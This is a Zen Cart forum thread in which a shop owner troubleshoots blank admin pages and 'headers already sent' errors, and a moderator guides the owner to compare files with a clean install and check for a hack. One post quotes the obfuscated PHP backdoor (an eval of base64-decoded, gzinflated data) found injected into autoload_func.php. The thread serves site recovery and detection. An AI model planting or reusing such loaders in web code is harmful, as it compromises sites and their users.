Results 1 to 9 of 9
  1. #1

    Default Very strange Admin login problems

    Hi,

    I am using zencart 1.5.1

    I have just started experiencing an extremely strange problem while trying to login to my admin.

    I have changed nothing on the server so cannot explain why this has started happening. I shall do my best to explain the problem...

    When typing in the url for my typical admin log e.g. www.mydomain.com/myadmindirectory/
    I am presented with a blank page. however when i add /login.php?camefrom=index.php to the end the login page loads and allows me to enter my details.

    Upon loging in from this page the admin then shows a blank page until I then remove the "login.php?camefrom=index.php" from the end of the url at which point I am presented with the proper admin screen.

    Does anyone have any idea what on earth is causing this?! I am completely lost!

    Thanks for any help.

  2. #2
    Join Date
    Sep 2003
    Location
    Ohio
    Posts
    69,402
    Plugin Contributions
    6

    Default Re: Very strange Admin login problems

    What debug logs do you see in the /logs directory on this error?
    Linda McGrath
    If you have to think ... you haven't been zenned ...

    Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!

    Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today: v1.5.5]
    Officially PayPal-Certified! Just click here

    Try our Zen Cart Recommended Services - Hosting, Payment and more ...
    Signup for our Announcements Forums to stay up to date on important changes and updates!

  3. #3

    Default Re: Very strange Admin login problems

    Quote Originally Posted by Ajeh View Post
    What debug logs do you see in the /logs directory on this error?
    It looks like these are relevant:

    [Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at public_html/includes/autoload_func.php:4) in public_html/myadmin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/myadmin/

    [Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28, referer: http://www.mydomain.com/myadmin/

    [Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113, referer: http://www.,mydomain/myadmin/

    [Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28

    [Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113

  4. #4
    Join Date
    Sep 2003
    Location
    Ohio
    Posts
    69,402
    Plugin Contributions
    6

    Default Re: Very strange Admin login problems

    Check your file on the server for:
    /public_html/includes/autoload_func.php

    with a clean copy of this file and see if you have any differences ...

    Have you made any changes to this file?
    Linda McGrath
    If you have to think ... you haven't been zenned ...

    Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!

    Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today: v1.5.5]
    Officially PayPal-Certified! Just click here

    Try our Zen Cart Recommended Services - Hosting, Payment and more ...
    Signup for our Announcements Forums to stay up to date on important changes and updates!

  5. #5

    Default Re: Very strange Admin login problems

    Quote Originally Posted by Ajeh View Post
    Check your file on the server for:
    /public_html/includes/autoload_func.php

    with a clean copy of this file and see if you have any differences ...

    Have you made any changes to this file?
    Hi,

    There was some very odd coding at the top of my file compared to original!!

    "<?php eval(gzinflate(base64_decode('rVdbc6PKEX5WqvIfxirKgI0Bobtl7N06q5yzlex6I8vJg61VYR gkdhFwBvDl2Prv6Z4ZJCzL5yGJypaG6Z7unr583UQh0Q4CGkYJDTQ1ZKtPuarrz3/9S0NsVnvEaOkj2IW/sEz8IkoTApR5EBNNKVmsEzzTiEBcRZ/Txygvck31gT6PkqgAyYKtofhL4pINQYgYcRLfzGmRZrDtLw3yy/XkH5ffpvPJeHo9+TqdfPx69bfxxCAteUBJy6ISRh+pT/CYpKE9gsBYknICOXBdYutEHgu9OKc1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0zNhzjWdTseCWkVUQDFc9tLlrjiEliVEH2aeyy/ZNHr2UWdgiN5Y5eYjvNNv00bgPpReleV7auT/aqW######DhNk1NuMp1IZNfXjbrjd9U/UJtqaeqrep7rlJl/SblMenX/wE=')));?>"



    I have since replaced this with the original file. however the admin is still having to be logged oddly :S

    Is there any other files I should check? Could this have been inserted by a hacker?

  6. #6
    Join Date
    Sep 2003
    Location
    Ohio
    Posts
    69,402
    Plugin Contributions
    6

    Default Re: Very strange Admin login problems

    I would check and see if your site has been hacked in some manner ...
    http://www.zen-cart.com/wiki/index.p...ing_From_Hacks

    Was this a clean install of Zen Cart or an upgrade? And, if an upgrade, from what version?
    Linda McGrath
    If you have to think ... you haven't been zenned ...

    Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!

    Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today: v1.5.5]
    Officially PayPal-Certified! Just click here

    Try our Zen Cart Recommended Services - Hosting, Payment and more ...
    Signup for our Announcements Forums to stay up to date on important changes and updates!

  7. #7

    Default Re: Very strange Admin login problems

    I also just replaced all the other files in the error log with their original and still got the same problem:

    New error log now reads:

    [Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/admin/

    [Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /home/thetahea/public_html/admin/includes/init_includes/init_templates.php on line 28, referer:

    [Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/classes/class.base.php:4) in
    /public_html/includes/functions/sessions.php on line 113, referer:

    [Fri May 31 18:34:52 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/thetahea/public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer:

  8. #8
    Join Date
    Sep 2003
    Location
    Ohio
    Posts
    69,402
    Plugin Contributions
    6

    Default Re: Very strange Admin login problems

    I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...
    Linda McGrath
    If you have to think ... you haven't been zenned ...

    Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!

    Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today: v1.5.5]
    Officially PayPal-Certified! Just click here

    Try our Zen Cart Recommended Services - Hosting, Payment and more ...
    Signup for our Announcements Forums to stay up to date on important changes and updates!

  9. #9

    Default Re: Very strange Admin login problems

    Quote Originally Posted by Ajeh View Post
    I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...
    Thank you, I shall look into this thoroughly.

 

 

Similar Threads

  1. v155 Admin login page loads very slow.
    By oavs in forum General Questions
    Replies: 17
    Last Post: 18 Nov 2023, 01:38 PM
  2. strange, very strange: cookie don't work
    By 100asa in forum General Questions
    Replies: 4
    Last Post: 13 Jul 2008, 01:55 PM
  3. Admin Login Issues - Very Strange....
    By buyashed in forum General Questions
    Replies: 5
    Last Post: 29 Jan 2008, 01:48 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg
Zen-Cart, Internet Selling Services, Klamath Falls, OR